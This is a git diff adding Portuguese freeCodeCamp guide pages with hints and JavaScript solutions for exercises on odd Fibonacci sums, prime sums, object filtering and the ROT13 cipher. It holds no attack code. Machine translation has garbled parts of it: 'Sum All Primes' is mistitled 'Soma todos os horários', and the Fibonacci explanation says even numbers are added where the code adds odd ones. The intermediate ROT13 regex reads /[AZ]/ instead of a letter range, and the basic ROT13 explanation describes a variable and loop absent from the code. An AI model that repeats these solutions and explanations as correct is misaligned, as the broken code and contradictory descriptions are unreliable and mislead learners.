+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você precisará reunir todos os números de **Fibonacci** e, em seguida, verificar os números ímpares. Depois de obter os mais estranhos, você adicionará todos eles. O último número deve ser o número dado como um parâmetro se realmente for um número fora de Fibonacci.
+
+#### Links Relevantes
+
+*   [Número de Fibonacci](https://en.wikipedia.org/wiki/Fibonacci_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Para obter o próximo número da série, você precisa adicionar o atual ao anterior e isso lhe dará o próximo.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Para verificar se um número é igual, tudo que você precisa verificar é se o `number % 2 == 0` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Ao obter o próximo ímpar, não se esqueça de adicioná-lo a uma variável global que possa ser retornada no final. `result += currNumber;` vai fazer o truque.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function sumFibs(num) { 
+    var prevNumber = 0; 
+    var currNumber = 1; 
+    var result = 0; 
+    while (currNumber <= num) { 
+        if (currNumber % 2 !== 0) { 
+            result += currNumber; 
+        } 
+ 
+        currNumber += prevNumber; 
+        prevNumber = currNumber - prevNumber; 
+    } 
+ 
+    return result; 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnV/0)
+
+### Explicação do código:
+
+*   Crie uma variável para manter o registro dos números atual e anterior junto com o resultado que será retornado.
+*   Use um loop while para garantir que não ultrapassamos o número dado como parâmetro.
+*   Usamos o módulo operando para verificar se o número atual é ímpar ou par. Se for par, adicione-o ao resultado.
+*   Complete o círculo Fibonacci girando obtendo o próximo número e trocando valores depois.
+*   Devolva o resultado.
+
+#### Links Relevantes
+
+*   JS while Loop
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function sumFibs(num) { 
+    // Perform checks for the validity of the input 
+    if (num < 0) return -1; 
+    if (num === 0 || num === 1) return 1; 
+ 
+    // Create an array of fib numbers till num 
+    const arrFib = [1, 1]; 
+    let nextFib = 0; 
+ 
+    // We put the new Fibonacci numbers to the front so we 
+    // don't need to calculate the length of the array on each 
+    // iteration 
+    while((nextFib = arrFib[0] + arrFib[1]) <= num) { 
+        arrFib.unshift(nextFib); 
+    } 
+ 
+    // Sum only the odd numbers and return the value 
+    return arrFib.reduce((acc, curr) => { 
+        return acc + curr * (curr % 2); 
+    }); 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/@kr3at0/SumAllOddFibonacciNumbers)
+
+### Explicação do código:
+
+*   Crie uma matriz de números de fibonacci até **num** .
+*   Use o método `reduce()` para encontrar a soma dos membros ímpares da matriz.
+*   Devolva a soma.
+
+#### Links Relevantes
+
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [Protótipo JS Array Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
new file mode 100644
index 0000000000..03c79bdece
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
@@ -0,0 +1,180 @@
+---
+title: Sum All Primes
+localeTitle: Soma todos os horários
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+A explicação para esse problema é muito simples. Você irá gerar uma lista de números primos até o número que você recebe como parâmetro. Então você precisa adicioná-los e retornar esse valor. A parte complicada está em gerar a lista de números primos. Eu sugiro que você encontre um código ou um bom algoritmo matemático que você possa transformar em código.
+
+#### Links Relevantes
+
+*   [Números primos](https://en.wikipedia.org/wiki/Prime_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Gere uma lista de todos os números até e incluindo o que você obteve como parâmetro. Isso será necessário para determinar quais números são primos ou não.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Verifique este [link](https://stackoverflow.com/questions/11966520/how-to-find-prime-numbers-between-0-100) se você preferir encontrar uma solução para encontrar primos, ou tente aprender e implementar sua própria [Criva de Eratóstenes](https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes)
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Este problema é difícil se você tiver que criar seu próprio código para checar primos, então não se sinta mal se você tiver que usar o código de alguém para esse bit. De qualquer maneira, é mais provável que você esteja usando array, portanto, depois de gerar uma matriz de primos, basta adicioná-los e retornar o número obtido.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function sumPrimes(num) { 
+  var res = 0; 
+ 
+  // Function to get the primes up to max in an array 
+  function getPrimes(max) { 
+    var sieve = []; 
+    var i; 
+    var j; 
+    var primes = []; 
+    for (i = 2; i <= max; ++i) { 
+      if (!sieve[i]) { 
+        // i has not been marked -- it is prime 
+        primes.push(i); 
+        for (j = i << 1; j <= max; j += i) { 
+          sieve[j] = true; 
+        } 
+      } 
+    } 
+ 
+    return primes; 
+  } 
+ 
+  // Add the primes 
+  var primes = getPrimes(num); 
+  for (var p = 0; p < primes.length; p++) { 
+    res += primes[p]; 
+  } 
+ 
+  return res; 
+ } 
+ 
+ // test here 
+ sumPrimes(10); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnZ/0)
+
+### Explicação do código:
+
+*   Crie uma função que gere os números de 1 a **num** e verifique se eles são primos ao longo do caminho.
+*   Declare as variáveis ​​que serão necessárias.
+*   Comece com 2, se ele não tiver sido marcado e adicionado à matriz de peneira, ele é um primo e o adicionamos ao array principal.
+*   Adicione os outros ao array de peneiras.
+*   Devolve os primos
+*   Faça um loop pela matriz retornada e adicione todos os elementos para retornar o valor final.
+
+#### Links Relevantes
+
+*   [JS For Loops Explained](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function sumPrimes(num) { 
+  // function to check if the number presented is prime 
+  function isPrime(number){ 
+      for (i = 2; i <= number; i++){ 
+          if(number % i === 0 && number!= i){ 
+          // return true if it is divisible by any number that is not itself. 
+             return false; 
+          } 
+       } 
+       // if it passes the for loops conditions it is a prime 
+      return true; 
+  } 
+  // 1 is not a prime, so return nothing, also stops the recursive calls. 
+  if (num === 1){ 
+    return 0; 
+  } 
+  // Check if your number is not prime 
+  if(isPrime(num) === false){ 
+  // for non primes check the next number down from your maximum number, do not add anything to your answer 
+    return sumPrimes(num - 1); 
+  } 
+ 
+  // Check if your number is prime 
+  if(isPrime(num) === true){ 
+  // for primes add that number to the next number in the sequence through a recursive call to our sumPrimes function. 
+    return num + sumPrimes(num - 1); 
+  } 
+ } 
+ // test here 
+ sumPrimes(10); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLn0/0)
+
+### Explicação do código:
+
+*   A função `isPrime` verifica se um determinado número é primo ou não.
+*   Se `num` for 1, retorne 0, já que 1 não é um número primo.
+*   Se **num** não for primo, verifique o próximo número abaixo do número máximo.
+*   Se **num** for primo, adicione-o ao próximo número na sequência através da recursão à função `sumPrimes` .
+
+#### Links Relevantes
+
+*   [Funções - Recursão](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function sumPrimes(num) { 
+  // step 1 
+  let arr = Array.from({length: num+1}, (v, k) => k).slice(2); 
+  // step 2 
+  let onlyPrimes = arr.filter( (n) => { 
+    let m = n-1; 
+    while (m > 1 && m >= Math.sqrt(n)) { 
+      if ((n % m) === 0) 
+        return false; 
+        m--; 
+    } 
+      return true; 
+  }); 
+  // step 3 
+  return onlyPrimes.reduce((a,b) => a+b); 
+ } 
+ // test here 
+ sumPrimes(977); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/DoOo/3)
+
+### Explicação do código:
+
+*   **Etapa 1:** use `Array.from()` para gerar uma sequência de números até e incluindo `num` . Combine com `.slice()` para cortar primeiro dois índices `[0, 1]` pois todos os números primos devem ser maiores que 1.
+*   **Passo 2:** Filtre todos os números de `arr` que não são primos, submetendo cada elemento ao _"trial division test",_ que _"consiste em dividir n por cada inteiro m que é maior que 1 e menor ou igual à raiz quadrada de n "_ . Este teste retorna `false` se qualquer número menor que o elemento sendo operado em (m) não produz nenhum resto quando o elemento (n) é dividido por ele. Veja o link abaixo para saber mais sobre isso.
+*   **Passo 3:** Retorna a soma de todos os elementos restantes de arr usando `.reduce()` .
+
+### Links Relevantes
+
+*   [Teste de divisão experimental](https://en.wikipedia.org/wiki/Prime_number#Trial_division)
+*   [Array.from ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from#Examples)
+*   [Array.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
new file mode 100644
index 0000000000..06c6facd30
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
@@ -0,0 +1,158 @@
+---
+title: Wherefore Art Thou
+localeTitle: Portanto és
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Escreva um algoritmo que receberá uma `array` para o primeiro argumento e retornará uma `array` com todos os `object` s que correspondam a todas as propriedades e valores no segundo `Object` .
+
+#### Links Relevantes
+
+*   [For Loops](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+*   [Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) [Object.keys ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você pode usar `for` loop ou o `Array.prototype.filter` método.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Tente usar o método `Object.prototype.hasOwnProperty` para saber se o nome da propriedade existe em um objeto (como sua própria propriedade).
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Verifique a equivalência de `Object` na `collection` com `Object` passado como segundo parâmetro para a função `whatIsInAName` .
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    for(var i = 0; i < srcKeys.length; i++) { 
+      if(!obj.hasOwnProperty(srcKeys[i]) || obj[srcKeys[i]] !== source[srcKeys[i]]) { 
+        return false; 
+      } 
+    } 
+    return true; 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmh/0)
+
+### Explicação do código:
+
+*   Nós filtramos através do array usando `.filter()` .
+*   Usando um `for loop` , percorremos cada item no objeto.
+*   Usamos uma `if statement` para verificar se o objeto na coleção não tem a chave e o valor da propriedade não corresponde ao valor na origem.
+*   Nós retornamos `false` se a `if statement` acima estiver correta. Caso contrário, retornamos `true` ;
+
+#### Links Relevantes
+
+*   For Loops
+*   Array.prototype.filter ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  return collection.filter(function (obj) { 
+    return srcKeys.every(function (key) { 
+      return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+    }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmi/0)
+
+### Explicação do código:
+
+*   Nós filtramos a coleção usando `.filter()` .
+*   Em seguida, retornamos um valor `Boolean` para o método `.filter()` .
+*   Finalmente, reduzimos para o valor `Boolean` a ser retornado para o método `.every()` .
+
+#### Links Relevantes
+
+*   Array.prototype.filter ()
+*   Array.prototype.every ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    return srcKeys 
+      .map(function(key) { 
+        return obj.hasOwnProperty(key) && obj[key] === source[key]; 
+      }) 
+      .reduce(function(a, b) { 
+        return a && b; 
+      }); 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmj/0)
+
+### Explicação do código:
+
+*   Começamos filtrando a `collection` usando `Array.filter()` .
+*   Em seguida, mapeamos todas as chaves e retornamos valores booleanos com base nas condições de verificação: a chave e seu valor correspondente devem existir dentro do objeto que estamos filtrando.
+*   Em seguida, reduzimos os valores booleanos mapeados para um único Booleano que indica se todas as srcKeys passam as condições marcadas acima.
+*   Este Booleano único será usado para filtrar a coleção.
+
+#### Links Relevantes
+
+*   Array.prototype.filter ()
+*   Array.prototype.reduce ()
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
new file mode 100644
index 0000000000..76e6efc421
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/caesars-cipher/index.md
@@ -0,0 +1,293 @@
+---
+title: Caesars Cipher
+localeTitle: Cifra Caesars
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+*   Você precisa escrever uma função, que terá uma string codificada com a _cifra de César_ como um parâmetro e decodificá-la.
+*   O usado aqui é ROT13, onde o valor da carta é deslocado por 13 lugares. por exemplo, 'A' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 'N', 'T' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 'G'.
+*   Você tem que mudar 13 posições, de tal forma que 'N' ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 'UMA'.
+
+#### Links Relevantes
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use _String.charCodeAt ()_ para converter o caractere em inglês para ASCII.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Use _String.fromCharCode ()_ para converter ASCII em inglês.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Deixe qualquer coisa que não esteja entre o AZ como está.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function rot13(str) { 
+      // Split str into a character array 
+      return str.split('') 
+      // Iterate over each character in the array 
+        .map.call(str, function(char) { 
+          // Convert char to a character code 
+          x = char.charCodeAt(0); 
+          // Checks if character lies between AZ 
+          if (x < 65 || x > 90) { 
+            return String.fromCharCode(x);  // Return un-converted character 
+          } 
+          //N = ASCII 78, if the character code is less than 78, shift forward 13 places 
+          else if (x < 78) { 
+            return String.fromCharCode(x + 13); 
+          } 
+          // Otherwise shift the character 13 places backward 
+          return String.fromCharCode(x - 13); 
+        }).join('');  // Rejoin the array into a string 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/38)
+
+### Explicação do código:
+
+*   Uma variável de string `nstr` é declarada e inicializada para armazenar a string decodificada.
+*   O loop for é usado para percorrer cada caractere da string de entrada.
+*   Se o caracter não for alfabético inglês em maiúsculas (ou seja, seu ascii não fica entre 65 e 91), deixaremos como está e [continuaremos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue) com a próxima iteração.
+*   Se for o alfabeto em letras maiúsculas, subtrairemos 13 do seu código ascii.
+*   Se o código ascii for menor que 78, ele ficará fora do intervalo quando subtraído por 13, então adicionaremos 26 (número de letras em alfabetos em inglês) para que, depois de A, ele volte para Z. por exemplo, M (77) ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") 77-13 = 64 (não é um alfabeto inglês) +26 = 90 ![:left_right_arrow:](https://forum.freecodecamp.com/images/emoji/emoji_one/left_right_arrow.png?v=3 ": left_right_arrow:") Z (90).
+
+#### Links Relevantes
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    // Solution with Regular expression and Array of ASCII character codes 
+    function rot13(str) { 
+      var rotCharArray = []; 
+      var regEx = /[AZ]/ ; 
+      str = str.split(""); 
+      for (var x in str) { 
+        if (regEx.test(str[x])) { 
+          // A more general approach 
+          // possible because of modular arithmetic 
+          // and cyclic nature of rot13 transform 
+          rotCharArray.push((str[x].charCodeAt() - 65 + 13) % 26 + 65); 
+        } else { 
+          rotCharArray.push(str[x].charCodeAt()); 
+        } 
+      } 
+      str = String.fromCharCode.apply(String, rotCharArray); 
+      return str; 
+    } 
+ 
+    // Change the inputs below to test 
+    rot13("LBH QVQ VG!"); 
+```
+
+### Explicação do código:
+
+*   Uma matriz vazia é criada em uma variável chamada `rotCharArray` para armazenar os códigos de caracteres.
+*   A variável `regEx` armazena uma expressão regular para todas as letras maiúsculas de A a Z.
+*   Nós dividimos `str` em uma matriz de caracteres e, em seguida, usamos um loop for para percorrer cada caractere na matriz.
+*   Usando uma instrução if, testamos para ver se a string contém apenas letras maiúsculas de A a Z.
+*   Se retornar true, usamos a função `charCodeAt()` e a transformação rot13 para retornar o valor correto, caso contrário, retornaremos o valor inicial.
+*   Em seguida, retornamos a string com os códigos de caracteres da variável `rotCharArray` .
+
+### Algoritmo Explicação:
+```
+ALPHA    KEY BASE             ROTATED    ROT13 
+ ------------------------------------------------------------- 
+ [A]     65  <=>   0 + 13  =>  13 % 26  <=>  13 + 65 = 78 [N] 
+ [B]     66  <=>   1 + 13  =>  14 % 26  <=>  14 + 65 = 79 [O] 
+ [C]     67  <=>   2 + 13  =>  15 % 26  <=>  15 + 65 = 80 [P] 
+ [D]     68  <=>   3 + 13  =>  16 % 26  <=>  16 + 65 = 81 [Q] 
+ [E]     69  <=>   4 + 13  =>  17 % 26  <=>  17 + 65 = 82 [R] 
+ [F]     70  <=>   5 + 13  =>  18 % 26  <=>  18 + 65 = 83 [S] 
+ [G]     71  <=>   6 + 13  =>  19 % 26  <=>  19 + 65 = 84 [T] 
+ [H]     72  <=>   7 + 13  =>  20 % 26  <=>  20 + 65 = 85 [U] 
